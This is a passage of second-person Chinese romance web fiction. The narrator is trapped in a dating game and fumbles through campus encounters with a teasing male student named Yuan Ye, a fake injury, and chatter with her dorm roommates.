“你是不是就是不想负责？”原野用指责渣男的语气质问你。
你也不知道该说什么：“我、我……”
原野左手慢慢托起右手腕，右手食指身残志坚般颤抖着指向斜上方的摄像头：“你的罪行，那里记录得清清楚楚。”
“你要是敢不负责，我就把这段视频传遍校园每一个邮箱。”
恩威并施。
你刚才怎么就没一头撞死他呢？
“行，负责，我负责。”你深吸一口气，“大少爷，我先扶您去医务室看看？”
“行吧。”原野立马露出一幅宽宏大量的模样，把所谓断了的右掌放在你手背上，你扶老佛爷般扶着他，慢慢朝医务室走去。
***
医务室里，原野随校医进了内间检查。
你一个人站在外间等待。
门关着，却三不五时传出杀猪般凄厉的叫声。
你越听越心惊。
你不会真把他的手撞断了吧？
还是右手，他之后怎么学习呢？
你又想起他朋友圈的评论，有人提到他在图书馆是为了期末复习，要是耽误了他期末考试怎么办？
那岂不是还要下学期重修所有科目，再补考？
你光是想想就觉得可怕。
你当真担心起来。
终于，男校医拭着额角的汗从里间走出来。
你看男校医进出间好像老了好几岁的模样，不由担心问道：“这么严重吗？”
校医长吸一口气。
你：“需不需要去大医院拍个片子，作进一步治疗？”
校医摆摆手：“那倒不用，该交代的我都交代他了。这些日子让他注意右手不要用力，按时上药，养养就行。”
你：“那他的手没断吧？”
校医：“没。”
“那能写字吗？”你赶紧问出最关心的问题。
校医愣了下，回道：“……应该不能吧。”
哦哦，你点点头。
罪过大了……
你半天没见原野跟出来，从半开的门朝里面张望了眼，还是没看到，就问校医：“那他人呢？”
校医轻咳一声：“应该在里面等你去扶他吧。”
哦哦。
“那我进去了？”你问校医。
校医点点头，你赶紧进去了。
你进去一找，发现原野果真坐在检查的床上，一脸虚弱在等你。
你拎上校医给他开的药，要去扶他的右手。
他偏了半边身子，躲开了。
“那样太累了。”他解释。
“行。”你点点头。
看来治疗效果不错，都不用扶了。
“走吧。”你往旁边让开一步，方便他下床。
不料，被他左臂一捞，跌了回去。
“别动！”他沉声在你背后警告。
你一时不明状况，不敢动，也不敢回头，怕看到什么不太方便的场面。
然后，你感觉右肩一沉。
你偏头一看，发现原野整个右臂架在了你肩上。
“这样就不累了，走吧。”原野声音轻快发号施令。
合着他所说的“那样太累了”，不是怕你累到，是他太累了。
你：“……”
你扶他出了医务室所在的大楼，走在校园里。
行走间，他受伤的右手在你眼皮底下颤巍巍的。
你：“校医没给你包扎吗？”
原野：“我没要。”
你：“为什
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么？”
原野：“你不觉得包成个粽子，影响我的男子气概？”
你：“刚才在校医室里叫，你就没想过会影响你的男子气概？”
“又没外人听到。”原野一脸不以为意。
你好想告诉他校医室隔间的墙有多么不隔音，想想男人大多要面子，还是算了。
你：“你这样半边身子都歪在我身上，总该影响你的男子气概了吧？”
“你不懂。”原野毛绒绒的脑袋抵在你头顶晃晃，“别人看见了，只会羡慕。”
你不确定：“羡慕谁？”
原野一脸理所当然：“当然是羡慕你。”
***
原野说要回宿舍好生修养，你劝他期末复习时间宝贵，于是，你们又回了图书馆。
你把原野送回了他的座位，去原先的位置上取东西。
徐晨曦第一时间注意到你回来，脸上一副狠松了一口气的表情。
你本打算收拾收拾东西就去找原野，不成想，徐晨曦递来个便利贴。
想来是早已准备好，等你回来就给你。
方方正正的便利贴被他正反面写得满满当当。
你坐下看起了便利贴。
内容是不同时间写下的。
一开始，还只是普通的抱歉。
之后，大概是久等你不回来，抱歉得越来越真诚。
他说他也不想这样的，实在是控制不住自己的目光，忍不住总注意到那个歪出去的三角。
他又保证绝对不是对你有意见，还说你“很好看”。
你看到他夸你好看，嘴角就再也压不住了。
你就是这么肤浅，别人一夸，只要别太假，你总会忍不住开心。
他抱歉到最后，还给你讲起了他强迫症的事情。
对于如此有诚意的道歉，你当然要好好回复。
便利贴的正反面都被他写满，实在没你发挥的余地，于是，你回身从包里翻出便利贴，撕下一张开始认真回复。
你也写了满满当当一张便利贴递给徐晨曦。
徐晨曦收到后，埋头又认真回复起来。
你看着看着，突然想到，原野这种出挑的长相，在校园里肯定是个名人，你何不趁机和徐晨曦打听一番。
你想干就干，又撕下一张便利贴，低头嗖嗖写下三行，朝对面递去。
却不料，半空被截了胡。
徐晨曦有些惊讶：“野哥？”
原野并未看他，左手夹着你写的便利贴，念道：“徐晨曦同学，请问你知道原野吗？我刚刚不小心撞伤了他的手，有点害怕他会为难我，如果知道的话，能不能和我说一说他的事情啊？”
“笑脸、笑脸。”原野的阴阳怪气连你末尾的两个表情都不放过。
“害怕我会为难你？”原野鼻腔哼出一声的笑，“明明说马上回来，结果害怕到和这小子在这里卿卿我我传小纸条？”
卿卿我我？
这是什么形容词？
徐晨曦看出气氛不对，忙替你打圆场：“野哥，我也是今天刚认识的夏佑同学，你看，这不是巧了？”
“xiàyòu？”原野意味不明重复了声。
徐晨曦赶忙说：“对。夏天的夏，福佑的佑。”
“他问你名字，你不仅告诉他，还告诉他是夏天的夏，福佑的佑？”原野垂低的眼尾横扫你一眼，
“我问你名字，你就撞墙以死明志？”
25. 图书馆告白挑战（5）
原野在说什么？
明明每个字都是中文，怎么合在一起，你就听不懂了呢？
然而，原野没给你不懂就问的机会，早已如高傲的孔雀翘着尾巴离开。
还顺走了你写给徐晨曦的便利贴。
你和徐晨曦面面相觑，都从彼此的眼中看到了浓浓的疑惑。
却又一时不知从何说起。
你先开口：“你继续学习吧。”
说完，你趴在桌上，心事重重转起笔来。
转笔是你的拿手好活，只要你不想让笔掉下去，它就永远只能在你手中。
哎，要是男人也这么好拿捏就好了。
笔转出的残影里，徐晨曦捏着手中的笔，一副欲言又止的模样。
你却只作不见。
因为，你怕徐晨曦问你原野刚才发的什么疯。
你也不知道答案啊。
徐晨曦估计无心学习了，拿出手机，开始摸鱼。
你眼皮慢慢眨着——
为什么别人的恋爱游戏是甜甜蜜蜜，你的恋爱游戏是让美丽的神经病和你告白？
亏你还以为游戏这关给你的“不限时”是福利，没成想，是游戏有自知之明。
知道自己给你搞了个多么地狱hard的难度。
算了。
失败失败着，你都习惯了。
凡事有两面，从好的角度看，你和原野现在也是互通过姓名的关系了。
游戏进度条四舍五入也有10%。
早晚你都会成功，早些晚些又有什么区别呢？
看，你熬心灵鸡汤的手艺真是愈发炉火纯青。
大学毕业以后，你要是找不到工作，就在校门口开一家养生鸡汤店，卖老火鸡汤，也摆塔罗牌卖心灵鸡汤。
美食和玄学，大学生们的解压神器。
又想跑偏了。
回归正轨，徐晨曦叫原野“野哥”，显然不止是听过原野的名字，而是真的认识原野。
那么，他很有可能是系统送到你面前的重要助攻npc。
想到这里，你停下转笔，摸起便利贴，埋头唰唰写起来。
委婉的话才写到一半，对面的徐晨曦忽然收拾起东西。
你抬头一看。
他已经背起了书包。
“我有事，先走了。”他小声说，却并不看你。
你想拦，可人家都说有事了。
你不情不愿点了头。
徐晨曦说完，却没立马就走。
垂着眼皮，眼神在脚下的一亩三分地逡巡，你等了又等，他终于又开口：“我刚才一直在学习，没看到野哥的朋友圈，抱歉。”说完，飞快转身就走，留你一头雾水。
徐晨曦到底在抱歉什么？
没看到他野哥的朋友圈，就算要抱歉，也该去找他野哥说吧？
怎么一个两个走前都要和你说些奇奇怪怪的话？
怎么，难道你是出口的门闸，把你弄迷糊了，他们才能成功退场？
望着窗外西斜的太阳，你感到今日过关无望。
你不得不考虑一个重要却第一次在游戏里面对的问题——
过夜。
这一关，你的游戏身份依旧是大学生。
普通的大学生晚上当然是住在寝室。
但你对寝室的位置、即将要面对的室友一无所知。
最好的了解寝室的方式是什么？
当然是看微信寝室群。
你第一次打开这关游戏提供的手机，找到了微信的绿色图标。
本以为还要花费一番功夫才能锁定寝室群，没想到寝室群名简直是白给：
「相亲相爱的A06-3025」
看来游戏里，你住在女寝A区06号楼，3层的3025。
寝室群加你总共四个人，却十分热闹，聊天记录上百页不止，你食指快抽了，都没翻到头。
新的消息还在不断跳出来。
你索性放弃了去翻历史记录，看看她们现在在聊什么。
一看，是你最感兴趣的话题！
等会儿的奶茶外卖点什么。
你不太清楚游戏里“你”的性格，谨慎没开口，直到三人敲定好各自的选择，又@你：
「苏苏，你怎么一整天都没动静，你要点什么？」
苏、苏？
你意识到你犯了一个错，一进游戏就告诉徐晨曦你叫夏佑。
哦不，你被原野带歪了，是你一进游戏给徐晨曦写纸条时，大意属上了真名。
但游戏默认你叫MarySu。
原野已经知道你叫夏佑了，那么为了保住你岌岌可危的进度条，这关你必须叫夏佑。
你得想想办法。
你在她们发来的菜单里选好了自己想喝的。
你：「我要海盐开心果米麻薯。」
李知乐：「还是少冰三分糖？」
你：「不，全冰全糖。」
你都在游戏里了，还担心什么喝凉的宫寒，喝甜的发胖？
反正一出游戏，一切清零。
李知乐：「苏苏，你这是受什么刺激了？」
你：「唉……」
你：「回去再和你们讲。」
先给你点儿时间好好编一编。
***
你一路问人，一路排演见到室友后的说辞，成功找到了女寝A区的6号楼，爬上3层，停在了3025的门牌前。
你用包里找到的钥匙开了门。
室友三人正聚在桌前分奶茶，听到开门声，栗色公主切短发的高个子女生回头看来：“呦，你回来的可真是时候，奶茶刚到。”
她就是李知乐，你刚才翻三人朋友圈时看到了她发的自拍。
你淡定点点头：“我回来了。”
你朝她们走去，看她们从奶茶外卖袋里一一取出奶茶。
“喏，你的。”李知乐回身递给你奶茶。
你伸手接过，礼貌说：“谢谢。”
李知乐瞪大眼，对你摆摆手：“谢什么谢，怎么今天这么客气？”
看来，你们的寝室关系比你以为的还要融洽。
李知乐旁边扎黑马尾的女生咬着吸管回头看你：“确实诶，苏苏今天看起来蔫答答的，还点了全糖的奶茶。”
你立马把她和朋友圈里的照片对上号，是张雨婷。
未及你回答，一直背对着你的女生转过头，乌黑的长卷发拥着张巴掌大的小脸，一双水汪汪的大眼关切盯着你：
“苏苏宝宝，你怎么了？”
你都这么大了，竟然还有人叫你“苏、苏、宝、宝”？
是三人照片里最漂亮的白念芮，她本人比照片里静态的她还要美上三分。
白念芮眨了眨眼：“你刚才在群里说要和我们讲的事情是什么？”
见你一副呆愣愣的模样，白念芮伸手取走你手里的吸管。
纤细的手指慢慢剥掉吸管外的纸，把吸管戳进你的奶茶里，然后抬着你的手把吸管送到你嘴边，软声细语道：“先喝一口，再说吧。”
完了，你感觉自己要被温柔迷糊了。
你吸了一口奶茶，嚼了嚼软糯的麻薯，全糖的果然好喝。
还好，你早就提前准备了答案：“我妈刚才给我打了个电话，说找人给我看了看我怎么一直单身。”
没料到是玄学话题，三人六只眼睛齐齐亮起盯向你。
你轻咳了下：“大师说，是我的名字出了问题。”
“啊，名字啊？”
“怪不得苏苏母胎单身。”
你没想到，游戏里的你也是母胎单身。
“那岂不是要改名？”
“都这么大了，改名很麻烦吧？”
“对啊，对啊，派出所那边难跑不说，从小到大的学籍档案都要改。”
“难改也得改啊，要不是名字出了问题，苏苏宝宝这么可爱，怎么会母胎单身？”
你：“……”被她们说的，你觉得自己的名字可能真出了问题。
“对对对，必须得改！”
“苏苏，阿姨没问大师要改个什么名字吗？”
你就等这句话呢。
“大师说，夏佑这个名字旺我的桃花。”
“夏天的夏，福佑的佑，”你借用了徐晨曦的解释，“这个夏天保佑我有桃花的意思。”
“不错不错。”
“听着是挺有道理。”
“不对啊，那岂不是连姓都要改？”
你赶紧摆摆手：“不用不用，大师说让这段时间周围人都叫我这个名字，等找到男朋友了，再用回原来的名字就行了。”
“只要我们这么叫你就行？”
“不用真改名？”
“嗯嗯。”你真诚点头。
她们对这个方案非常满意，当即就“夏佑”“夏佑”叫起你来，还不忘提醒你赶紧把微信名改成“夏佑”。
自打你告诉她们你改了名字，她们就特别爱叫你的名字。
她们三人说话都“你啊”“你”的，轮到和你说话，一定要连名带姓叫你“夏佑”。
不知道是真特别喜欢你的真名，还是在
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不遗余力帮你旺桃花。
一晚下来，得益于她们的开朗、健谈和睡前的八卦会谈，你把她们的底摸了个七七八八。
李知乐，她有个感情很好、从高一谈到现在的异地男友。
张雨婷，和你一样，现在是单身。
不同的是，人家以前还是有男朋友的。
白念芮，你们班的班花，半单身状态。
之所以说是半单身，是因为有三个男生待上位。
一对儿隔壁学校的好兄弟，没有血缘关系，此前好到穿一条裤子的那种兄弟。现在是否还是兄弟，你是持怀疑态度的。
还有一个是本校博二在读的学长。
也不怪三个男生一起迷糊，你都被白念芮一晚上一口一个“夏佑宝宝”叫迷糊了。
哎，比起你，白念芮才更像恋爱游戏的女主。
***
第二天一大早，你从寝室抽屉里翻出个漂亮的新笔记本，装进包里，和室友们说要去图书馆学习，便在她们“夏佑拜拜”“夏佑拜拜”“夏佑宝宝拜拜”的欢送中出了寝室。
吃完早饭，你直奔图书馆。
在熟悉的位置上看到了原野。
你捧着从书架上挑的几本书和他遥遥对视。
他哼了一声，别过脸去。
你伸到一半打招呼的手僵硬换了个方向，理了理刘海。
你从原野身边经过，又听到一声冷哼。
你：“……”
知道你俩的关系根本不像你想象的只差捅破一层窗户纸，他又是这样的态度，你的I人属性又发作了。
一想到你鼓起勇气和他搭话，他冷着一张脸，或不搭理你或阴阳怪气你，又或像对待那个和他表白的女生一样冷嘲热讽，你就一点儿都张不开嘴。
想象不足以杀死一切，杀死你的勇气却绰绰有余。
于是，你挑了个最里面、离原野最远的地方坐下。
现实生活中的你马上也要期末考试了，于是，你从图书馆的书架上找了几本你现实中的专业教材。
你本想随便翻翻，毕竟你是来图书馆闯关的，不是来图书馆学习的。
没成想，看着看着，就看进去了。
全新的漂亮笔记本，你做起笔记来，心情都格外舒畅。
一上午的时间，笔记写了快十页。
你满意翻翻自己辛勤写下的笔记，不由感叹这个游戏实在是太棒了！
以前每次期末考试前，你总觉得复习的时间不够。
有了这个不限时长的游戏，你岂不是想复习多久就复习多久？
你现在一点儿也不着急让原野和你表白了，你要在这里把所有的科目复习个遍，再出去！
啊啊啊啊啊啊——你简直是个小天才！
除了你，谁还能想到这么钻恋爱游戏的Bug？
之后去外面接热水、上厕所，经过原野时，你都刻意加快了脚步。
主打一个绝不让他有机会和你搭话。
万一他哪根筋搭错，拦下你和你聊天，说着说着就和你告白了（虽然概率几乎为0），游戏岂不是要把你立刻扔出去？
这绝对不行，这学期还有六门考试等着你呢。
游戏的八百万奖金遥遥无期，今年国奖的8000元必须属于你！
得益于你每次经过原野，都健步如飞，一天过去了，你们一句话也没讲过。
任务进度条依旧停在互通姓名的10%。
完美！
第三天，原野依旧坐在那个位置。
你们再一次隔空对视，这次他哼都没哼一下，直接转过了头。
你有些放下心来，他应该是消气了。
虽然，你并不清楚他前天为什么生气。
鉴于昨天一整天他都没有主动叫住你，你经过他时也不再特意加快脚步。
只是每次经过，他都会瞥来一眼。
第四天，原野还是在图书馆的那个位置。
三天下来，你算是看出来他对那个位置的喜爱了。
可惜，你不是那个位置，这对你的游戏通关并没有什么用。
你们依旧一句话没讲。
其实，有几次，你在眼神交汇时想招手说个“hi”。
毕竟，天天干对眼不说话，感觉奇奇怪怪的；再说，你复习完所有科目，还是要继续攻略他的。
但……你的手没出息被他越来越冷的眼神吓回去了。
第五天，原野还在那个位置。
一大早，当你习以为常经过原野时，不料，他朝你伸出了腿……
26. 图书馆告白挑战（6）
你好好走着，脚下突然被绊，身体向前扑去——
眼瞅着脸极速近地，你赶忙用手撑了下，才没毫无尊严摔个大马趴。
但膝盖骨还是“扑通”一声，砸在了地上。
这一瞬，你无比庆幸这些天穿腻了裙子，今早临时起意换上了铅笔裤。
不然，膝盖说不定要血溅当场。
你转过身。
某人肇事的左腿依旧大喇喇横在过道。
你顺着那条长腿找上去，就见原野左手支着下巴，正一脸幸灾乐祸看你。
“原、野，”你咬紧后槽牙，“你是故意伸腿绊我？”
原野鼓着腮，秀气的下巴在掌跟摇摇，一脸无辜：“没啊。”
没？！
你瞪向他至今嚣张在外的左腿：“你以为我眼瞎？！”
原野却对你言语中的怒气充耳不闻。
慢腾腾落下眼皮，朝自己的左腿瞧去，长睫毛吃醉酒般迟钝眨了眨，目光继而恍然大悟点在你脸上：
“原来，你不瞎啊。”
？？？
你当然不瞎！
但你怎么感觉他还是在骂你瞎？
你心里暗骂他放屁，嘴上却礼貌许多：“你才瞎！”
“嗯，我才是瞎。”原野懒洋洋承认。
你感觉自己一腔怒火打在了棉花上。
彻底给你整不会了……
“地上不凉吗？”原野不知何时蹲到了你面前，突然问你。
你往下一瞧，才意识到自己还跪在地上。
你死鸭子嘴硬：“不凉。”
“哦——”原野挑了下眉，“摔坏了，起不来了？”
你在立马爬起来和干脆趴倒碰瓷他之间犹豫，不防腰上一紧，整个人被他悬空捞起。
一切发生得太快。
你甚至来不及弄明白发生了什么，整个人便如麻袋般被他抗在肩上。
大头朝下，肚子搁在他肩头。
目之所及是不断远去的桌椅和行走在米色瓷砖上的两条大长腿。
哦，还有身后一片压抑的惊呼。
你死了。
你社死了……
倒挂的大脑极速充血，走马灯一样晃过许多。
从前流行过一个段子，你在澡堂洗澡，突然冲进来个坏人，你是先挡上面，还是先挡下面？你第一次被问到，还犹豫了许久。
现实告诉你一切虚拟的假设是毫无意义的，因为，你现在捂住了脸。
为了让自己走得体面点，你甚至放弃了挣扎。
感受到一上一下的颠簸，你小心翼翼张开指缝，窥见大亮的天光和下面灰白的石阶，你才确定你们终于出了图书馆的大楼。
你放下捂脸的手，赶紧去拍在你眼下一晃一晃的大长腿：“原野，原野，赶紧放我下来。”
原野歪了下腰，腿也顺势出了你手的射程范围，扛着你继续向前走。
你的手胡乱拍起来，能拍到什么零部件就拍什么零部件，荤素不急，也不管是腰还是胸，嘴里胡乱喊着：
“青天白日，朗朗乾坤的，原野你有病啊，我告诉你啊，你趁我现在好声好气的，赶紧放我下来。”
“原野，再不放我下来，我就要喊人了！”
原野：“喊吧，喊大声点。”
你：“……”
原野：“怎么不喊，要我帮你一起喊？”
他是会拿捏你的……
你咬牙切齿：“原野，你到底要把我扛去哪里？”
“投桃报李。”原野侧了下头，声音愉快对你说。
你上身只穿了件短T恤，腰间的布料早在你拼命挣扎间跑了上去，说话间，他潮热的吐息毫无阻碍扑上了你腰间的皮肤。
你仿佛被掐了脖子的鸡，瞬间噤声。
乱扑腾的手脚也垂下来。
觉察到你的异常，他拍拍你后背：“喂，怎么了？”
你还是不说话。
他歪低头想打量你的脸色。
不想，他头一低，肩膀也跟着低，你整个人跟着垂得更低。
他还是看不到。
“这个姿势不舒服？”他后知后觉问。
……他、才、知、道、啊……
见你还是不说话，他又问：“那放你下来？”
你赶紧点点头。
你感觉他扶着你的背把你翻下来……但你的脚怎么没落地？
你再睁开眼，竟然躺在他怀里。
你震惊瞠大眼，他无辜垂着眼皮，你们在呼吸可闻的距离面面相觑。
这难道就是传说中的公主抱？
发生了什么？不，他是怎么做到的？
“这么感动吗？”原野叹口气，“把你下巴收收，别把哈喇子流我衣服上。”
公主抱的害羞不过一秒，你已经想锤爆他的狗头了！
于是，你不仅没合上嘴，还歪头朝他的粉衬衫“呸呸呸呸”起来。
他立马支起上臂，把你送得离他上身远些，嘴里嫌弃：“小脏鬼，你脏不脏
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？”
“略略略略，”你朝他吐舌头，梗着脖子念，“不脏不脏我不脏，妈妈不回来，谁问也不脏。”
原野噗嗤一声笑了。
阳光下容色分外明艳，仿佛多日的阴霾一扫而空。
他笑到最后，你扶在他胸膛的手仿佛都随着内里的回响震颤起来。
你不安地赶紧搂住他脖子。
生怕他把你给笑掉了。
原野回头，盯着你紧紧攥在他脖子后的双手，敛了笑，收回手臂，让你又安全地靠在他胸前。
你刚感动一秒。
他又啧啧啧几声：“小脏鬼胆子还这么小。”
真是狗嘴里吐不出象牙，你彻底别过脸去，不再和他说话。
***
原野抱着你进了一栋大楼。
巧了，这楼你还真认识，四天前，你搀着抱着你的人刚来过。
是医务室所在的大楼。
你这才反应过来：“我们来这里干什么？”
原野眼珠向下一拨：“哦，又和我说话了。”
你：“……”
谁要和他说话？！
你又别过脸去。
***
四天前，你扶着原野敲开了医务室的大门。
四天后，原野抱着你踢开了医务室的大门。
电脑后的男校医一脸懵地望着闯进门的你们。
你赶紧捂住了自己的脸。
你听校医起身靠近，问道：“她怎么了？”
原野：“被人绊了下，站不起来了。”
你听男校医叹口气：“现在的孩子们……”
“唉，行了，把她放里间的检查床上去吧。”
原野闻言抱着你往里间走。
你却慌了，你没事啊，一会儿上哪变出个伤去啊？
原野把你放坐在床上，转身要走，你下意识抓了下他的后衣摆。
原野停下了脚步，见你欲言又止，轻咳了声：“我就站在门外。”
你摇摇头，你不是担心这个。
他伸手，不甚熟练拍了拍你的头：“没事，我不让他关门。”
你：“……”你是怕这个吗？
你自暴自弃松开他的衣摆。
校医带着医疗白手套，端着换药的托盘进来，反手带上门，发现受到了阻力。
校医转头去看。
原野站在门外，手里打着游戏，长腿一伸抵在门上，头也不抬说：
“就这样检查吧。”
27. 图书馆告白挑战（7）
原野站在门外，手里打着游戏，长腿一伸抵在门上，头也不抬说：
“就这样检查吧。”
校医背对着你，你看不到他的表情。
但从他狠狠上提的肩膀，你感受到他巨大的情绪起伏。
“好。”校医憋屈放开了门。
原野点点头，放下长腿，靠在墙上继续玩起了游戏。
校医在你面前的椅子上坐下，问你伤了哪条腿。
你也不知道哪条腿能争点气，给你破个皮。
于是男左女右，你先挽起了右裤腿。
然后，你和校医对着你光滑的膝盖相顾无言。
门敞了几乎一半，你都不用特意找角度，一抬头，就能看见门外靠墙正手指翻飞的人。
“记错了。”你赶紧去拉左裤腿。
看到左膝盖内侧破了的油皮和几道带血丝的擦痕，你感动得眼泪差点掉下来。
男校医又深深吸了一口。
别吸了，别吸了，你完全懂他的无语，你也是被生生赶上架的鸭子。
从某种程度来说，你们是同病相怜……
校医给你伤口消了毒，又擦了点药，最后用纱布方块贴住。
站起来后，他抬了些声音嘱咐你：“这两天注意别沾水，少走些路，累了就找人扶你或背你。”
说完，对你眨了下右眼。
你：“……”
校医不会以为你是夸大伤情骗原野，然后好心祝你一臂之力吧？
原野进来后，弯腰要来抱你。
你在床上连连后退，摆手拒绝。
原野回头去看身后的校医。
校医犹豫了下，表示少走些也无妨。
于是，在他殷切目光的一路陪伴下，你一瘸一拐慢慢挪回了图书馆。
坐在图书馆坚硬的木椅上，你莫名感觉十分踏实。
是脚踏实地的安全感。
你回忆着刚才发生的一幕幕，却怎么都没想明白，你怎么就踏上了这条“受伤”的不归路？
正所谓一步错，步步错，你到底是在哪一步折进了这个深渊：
一上午，你一抬头，原野立马看过来。
你都怀疑他头顶装了什么感应器，专门用来感应你的动作。
你一要起身，原野立马走过来；
你说要去“打热水”，原野二话不说拿走你的水瓶，帮你去接热水；
你说要去“上厕所”，他就默默跟在你身后，送你到卫生间门口，远远站在外面等你“出来”，再把你送回座位。
最重要的是，你还得在他面前装成不良于行的模样……
一上午，好好一个“习”，叫你学得那是一个七零八碎。
你忍无可忍，准备在他去吃中饭时逃跑。
这个习，你打算过两天，腿“合理”好起来再来学。
你眼看着手机上的时间从十一点跳到十一点半，从十一点半挪到十二点，原野一直没有去食堂吃饭的意思。
不对啊，就你前几天的观察，他一般十一点半左右就去吃中饭了？
你又耐心等着时间从十二点爬到十二点半，原本几乎座无虚席的图书馆现在只星罗棋布散着些人。
你和原野的对视再也没有阻隔。
在你们半小时内第四次隔空对上后，你朝他招了招手。
原野立马起身，颠颠朝你而来。
这一幕，让你以为你朝他挥的不是手，是骨头。
原野见你的第一句就是：“你终于要去吃饭了。”
你：“你饿了？”
原野：“嗯。”
你：“那你怎么还不去吃饭？”
“等你呗。”他说完，幽怨瞥你一眼。
“等我干吗？”
“我可不像某些没良心的人，弄伤了别人的手，整天不闻不问，视若不见。”原野叹口气，指着自己漂亮的脸，“唉，我做人就是太有良心……”
你赶忙抬手打断他的阴阳：“既然你也饿了，我们赶紧去吃饭吧。”
原野：“行吧。看你腿受伤的份儿，我就陪你去吃饭吧。”
“行行行。”你赶紧合上书本，一股脑塞进包里。
“放着就行，咱们吃个午饭就回来，管理员不会收走的。”看你还是继续收拾，原野指了下大片离开人的桌子，“大家都这么放的。”
“我知道。”你微笑，“但我下午要回寝室养伤。
你不仅下午不来了，未来几天也不来了。
原野有些惊讶看你：“刚才我说要把你送回寝室，你不是说没什么事，不耽误学习吗？”
你在他的注视下，尴尬笑了笑，最后心一横，不要脸说道：“它严重了，我要回去好好养伤。”
没想到，你一句“严重了”的后果是：原野一定要背你去食堂……
你严正拒绝。
原野口口声声要“遵医嘱。”
两相僵持，原野表示退后一步，可以“抱你。”
你一听，果断选择前者。
你趴在原野背上生无可恋回忆着，那句老话怎么说的来着？
“人无信不立。”
人一旦撒谎，果然“立”不起来了。
各种层面上的“立”不起来……
***
寝室里
室友们见你中午就回来，都有些诧异。
李知乐看你手里拎着的两大袋肯德基：“怎么今天回来吃午饭，还一下买这么多？”
你：“买了炸鸡请你们吃。”
其实，是你死活不愿意让原野背你去食堂那种大庭广众的地方，说馋了想吃炸鸡，他把你放到肯德基门外进去买的。
其余两人听到有炸鸡，放下手机开开心心下床，围到你放肯德基的桌前。
张雨婷拆开袋子，把里面的东西一样样拿出来：“虽然我刚吃完午饭，但热辣香骨鸡还是必须能吃！”
白念芮：“夏佑宝宝好贴心，我爱的土豆泥和蛋挞都买了。”
李知乐颠着手里的老北京鸡肉卷：“我喜欢的鸡肉卷也没忘。”
你有些尴尬接受了她们的赞美。
虽然，这几天，你们已然混熟，但你还真不知道她们喜欢吃肯德基里的具体哪样东西。
这些，都是原野挑的。
进肯德基前，原野问你要什么，你回了句“随便。”
你又不是真的想吃肯德基。
你让室友们随便拿，她们各自挑了两三样自己喜欢的，回到自己位置上吃起来。
你刚才看到她们各自挑了什么，又看看两个袋子里剩下的，原野还真是随、便……
把肯德基的热门产品买了个遍。
你一时都想不起有什么是他没买的。
怪不得袋子那么沉。
刚才在寝室楼下，原野要送你上来，你好说歹说，他才拦了两个正要进寝室的女生，递给她们一盒蛋挞，说你腿受伤了，拜托她们给你搭把手。
你就说他怎么买了两大袋东西，还单拎着盒蛋挞。
你还以为他是买回去和室友分的。
两个女生得了蛋挞很开心。
一个从原野手里接走袋子帮忙拎东西，一个人一路负责扶你。
于是，你在她们殷切的关心下，又一路装瘸到三楼3025门前。
你一口一口咬着汁汁和牛堡，决心这两天好好窝在寝室，再出门，你怕整个A06都知道你瘸了的事。
那时，可真是骑虎难下了。
你看着开开
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心心吃肯德基，嘴上连连称赞你的室友们，无比庆幸她们对你的“伤”一无所知。
吃完汉堡，你拿出手机。
想着原野临走前，从你手里抽走了手机。
你的手机是游戏派发的，没设密码，你后来也没想着设。
你看他打开你的手机，在上面敲了些什么，又很快还给你。
你问他，他和你们拜拜手就走了。
由于你“不良于行”，也不好当着两个女生的面，跑上去追问。
你点开通话记录，没有新拨出的通话。
点开电话簿，没发现新的联系人。
你又点开微信，列表上没有陌生的好友头像。
你刚要退出微信，进□□找找，耳边回响起原野轻快的语调“抬起脸”“smile~”……
天哪！
想到那张合照最后的去处，你赶紧点开朋友圈。
想多了，他没拿你的手机发什么奇怪的朋友圈。
你又上了□□，到处翻了翻。
没有新的联系人，也没有什么奇怪的痕迹。
但你总感觉他抢走你的手机是干了什么的……
于是，你像个寻找男朋友出轨证据的女朋友，把自己手机里可疑的软件翻了个遍。
最后，还是一无所获。
所以，原野究竟拿你的手机干了什么？
难道，是你想多了？
他只是无聊，抢走你手机，想让你陪他玩抢手机的游戏。
你没上钩，他觉得无趣，又还给了你？
***
中午午睡醒来，你迟迟没出门。
室友们纷纷好奇你怎么还不去图书馆。
你把一早准备的理由拿出来：“学麻了，这两天先不学了。我现在连个‘书’字都听不得。”
“肯定是你前几天用力过猛，天天图书馆门一开就去，关门才舍得回来，学伤了。”
“可不是，学习还得劳逸结合。”
“对对对，还得像咱们念芮，”李知乐嘻嘻笑着打趣，“劳、逸、结、合。”
你不明所以，问她们笑什么。
这才知道，白念芮的博士生追求者这些天晚上熬夜学你们这学期的物理课程、整理笔记，白天陪白念芮一起复习。
你：慕了。
下午，白念芮和博士生学长又一起去学习了。
李知乐在寝室看《热学》，张雨婷在寝室看《电磁学》，你在寝室重刷电视剧《潜伏》。
不是你不想加入进步的队伍，实在是你没法跟上室友们学物理的脚步。
游戏里，你是物理专业的学生，但物理，你看不懂，看不懂，一点也没兴趣看懂。
要是汉语言专业什么的，你在游戏里看看教材，出了游戏还能增加点文学修养。
但看什么《热学》《电磁学》，出了游戏，你真不知道它们有什么用。
你戴着耳机追剧，她们知情识趣并不打扰你，只偶尔听到她们后悔“早知道上这节课多听一耳朵好了”。
你愉快刷了一下午剧。
晚上，大家洗漱完，换上漂亮的睡衣躺在床上愉快刷手机。
李知乐突然坐起身，惊叫：“原野又换女朋友了！”
你震惊朝下铺望去：“哪个原野？”
什么，你一个下午没见他，他就有女朋友了？！
李知乐：“还能有哪个原野？经济学院那个院草。”
张雨婷也精神起来：“在哪看的？在哪看的？”
李知乐：“学校论坛，快去看，帖子都飘红了。”
“唉，这有什么可看的，他一年不知道换多少个……”白念芮兴致缺缺点开论坛，
“靠，他这把玩儿这么大！”
28. 图书馆告白挑战（8）
你问室友怎么上校园论坛。
大家都沉浸在看八卦中，没人察觉到不对，刷帖子时顺口告诉了你。
“原野可真会玩儿，在图书馆就把人扛走了。”
“简直是迫不及待，啧啧啧……”
你登上校园论坛，刚看到李知乐口中那个飘红的帖子，闻言愣是迟迟没敢点开。
你也不知道你在怕什么。
万一……她们说的不是你呢？
李知乐：“你俩要不再往下看看？据说那个女生摔倒了……”
你深吸一口气，石锤了……
“摔倒？上次我在原野面前摔倒，”白念芮说到一半，开始大声深呼吸。
下铺的李知乐和张雨婷闻声，知道有瓜，齐齐歪出身子，往上铺看去。
“怎么了？”
“怎么了？”
白念芮冷笑一声：“他从我身上跨、过、去、了！”
两人歪出下铺的上半身瞬间笑弯成虾米。
“哈哈哈哈哈哈，没想到美女也有这个待遇。”张雨婷幸灾乐祸。
